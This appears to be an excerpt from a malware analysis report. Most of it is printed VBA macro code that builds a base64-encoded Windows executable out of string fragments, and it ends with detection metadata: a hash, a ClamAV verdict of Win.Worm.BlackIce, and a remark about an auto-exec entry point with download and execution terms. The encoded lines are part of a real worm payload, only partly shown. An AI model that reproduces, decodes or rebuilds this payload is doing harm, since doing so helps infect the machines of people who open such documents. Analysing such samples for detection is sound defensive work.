filestring = filestring + "i0UIXl/Jw5CKRgOIRwOLRQheX8nDjUkAikYDiEcDikYCiEcCi0UIXl/Jw5CKRgOIRwOKRgKIRwKKRgGIRwGLRQheX8nDVYvsVot1CA+vdQyD/uBXiXUIdw2F9nUDagFeg8YPg+bwM/+D/uB3WKFkVkEAg/gDdRqLRQg7BVxWQQB3LlDoLOL//4v4WYX/dUzrH4P4AnUaOzX8KkEAdxKLxsHoBFDouOn//4v4WYX/dT9Wagj/NWBWQQD/FfTAQACL+IX/dSSDPbxDQQAAdBtW6Lns//+FwFl0GeuL/3UIagBX6Oq5//+DxAyLx19eXcNW6+wzwOv1VldqAzP/Xjk1QFZBAH5EoShGQQCLBLCFwHQv9kAMg3QNUOgRvP//g/j/WXQBR4P+FHwXoShGQQD/NLDo2b///6EoRkEAWYMksABGOzVAVkEAfLyLx19ew1WL7LgAEAAA6GW8//9Ti10IVjP2Ox2AV0EAD4MVAQAAi8OLy8H4BYPhH4sEhYBWQQD2"
filestring = filestring + "RMgEAQ+E+QAAAGoBVlPoFez//4PEDIP4/4lFCA+E6wAAAGoCVlPo/ev//4PEDIP4/w+E1gAAAFeLfQwr+IX/fm9oABAAAI2FAPD//1ZQ6P24//9oAIAAAFPojgcAAIPEFIlFDLgAEAAAO/h9AovHUI2FAPD//1BT6ELB//+DxAyD+P90CCv4hf9+GOvXgz1gQkEABXUKxwVcQkEADQAAAIPO//91DFPoQAcAAFlZ60B9PmoA/3UMU+hr6///U+hm7///g8QQUP8V2MBAAIvw994b9vfeToP+/3UVxwVcQkEADQAAAP8VkMBAAKNgQkEAagD/dQhT6C3r//+DxAyLxl/rDccFXEJBAAkAAACDyP9eW8nDVYvsg+wMU1aLdQhXOzWAV0EAD4PFAQAAi8aD5h/B+AXB5gONHIWAVkEAiwSFgFZBAAPGilAE9sIBD4SeAQAAg2X4AIt9DIN9EACLz3Rn9sICdWL2wkh0HYpABTwKdBb/TRCIB4sDjU8Bx0X4"
filestring = filestring + "AQAAAMZEMAUKjUX0agBQiwP/dRBR/zQw/xXwwUAAhcB1Ov8VkMBAAGoFWTvBdRXHBVxCQQAJAAAAiQ1gQkEA6T4BAACD+G11BzPA6TUBAABQ6A/s//9Z6SYBAACLA4tV9AFV+I1MMASKRDAEqIAPhPgAAACF0nQJgD8KdQQMBOsCJPuIAYtFDItN+IlFEAPIO8GJTfgPg8sAAACLRRCKADwaD4SuAAAAPA10C4gHR/9FEOmRAAAASTlNEHMYi0UQQIA4CnUGg0UQAutexgcNR4lFEOtzjUX0agBQ/0UQjUX/agFQiwP/NDD/FfDBQACFwHUK/xWQwEAAhcB1R4N99AB0QYsD9kQwBEh0E4pF/zwKdBfGBw2LC0eIRDEF6yk7fQx1C4B9/wp1BcYHCusYagFq//91COht6f//g8QMgH3/CnQExgcNR4tN+DlNEA+CR////+sQiwONdDAEigaoQHUEDAKIBit9DIl9+ItF+OsUgyVgQkEAAMcFXEJBAAkA"
filestring = filestring + "AACDyP9fXlvJw2oC6DW8//9Zw1WL7Gr/aDDGQABoNIZAAGShAAAAAFBkiSUAAAAAg+wcU1ZXiWXoM/85PQBEQQB1RldXagFbU2goxkAAvgABAABWV/8V7MFAAIXAdAiJHQBEQQDrIldXU2gkxkAAVlf/FfTBQACFwA+EIgEAAMcFAERBAAIAAAA5fRR+EP91FP91EOieAQAAWVmJRRShAERBAIP4AnUd/3Uc/3UY/3UU/3UQ/3UM/3UI/xX0wUAA6d4AAACD+AEPhdMAAAA5fSB1CKH4Q0EAiUUgV1f/dRT/dRCLRST32BvAg+AIQFD/dSD/FezAQACL2Ild5DvfD4ScAAAAiX38jQQbg8ADJPzoK7j//4ll6IvEiUXcg038/+sTagFYw4tl6DP/iX3cg038/4td5Dl93HRmU/913P91FP91EGoB/3Ug/xXswEAAhcB0TVdXU/913P91DP91CP8V7MFAAIvwiXXYO/d0MvZFDQR0QDl9HA+EsgAAADt1"
filestring = filestring + "HH8e/3Uc/3UYU/913P91DP91CP8V7MFAAIXAD4WPAAAAM8CNZciLTfBkiQ0AAAAAX15bycPHRfwBAAAAjQQ2g8ADJPzod7f//4ll6IvciV3gg038/+sSagFYw4tl6DP/M9uDTfz/i3XYO990tFZT/3Xk/3Xc/3UM/3UI/xXswUAAhcB0nDl9HFdXdQRXV+sG/3Uc/3UYVlNoIAIAAP91IP8V6MBAAIvwO/cPhHH///+Lxuls////i1QkCItEJASF0laNSv90DYA4AHQIQIvxSYX2dfOAOABedQUrRCQEw4vCw1WL7Gr/aEjGQABoNIZAAGShAAAAAFBkiSUAAAAAg+wYU1ZXiWXooQREQQAz2zvDdT6NReRQagFeVmgoxkAAVv8VzMFAAIXAdASLxusdjUXkUFZoJMZAAFZT/xX4wUAAhcAPhM4AAABqAlijBERBAIP4AnUki0UcO8N1BaHoQ0EA/3UU/3UQ/3UM/3UIUP8V+MFAAOmfAAAAg/gBD4WU"
filestring = filestring + "AAAAOV0YdQih+ENBAIlFGFNT/3UQ/3UMi0Ug99gbwIPgCEBQ/3UY/xXswEAAiUXgO8N0Y4ld/I08AIvHg8ADJPzo+rX//4ll6Iv0iXXcV1NW6Pqy//+DxAzrC2oBWMOLZegz2zP2g038/zvzdCn/deBW/3UQ/3UMagH/dRj/FezAQAA7w3QQ/3UUUFb/dQj/FczBQA
... (truncated)
vba_embedded_payload.bin vba-embedded-pe reassembled from base64 VBA string fragments 86016 bytes
SHA-256: b3cc76c4f5d3c088c6b604aedce4ea51151639d58995c522b7f69547986e5d3e
Detection
ClamAV: Win.Worm.BlackIce-6527617-0
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.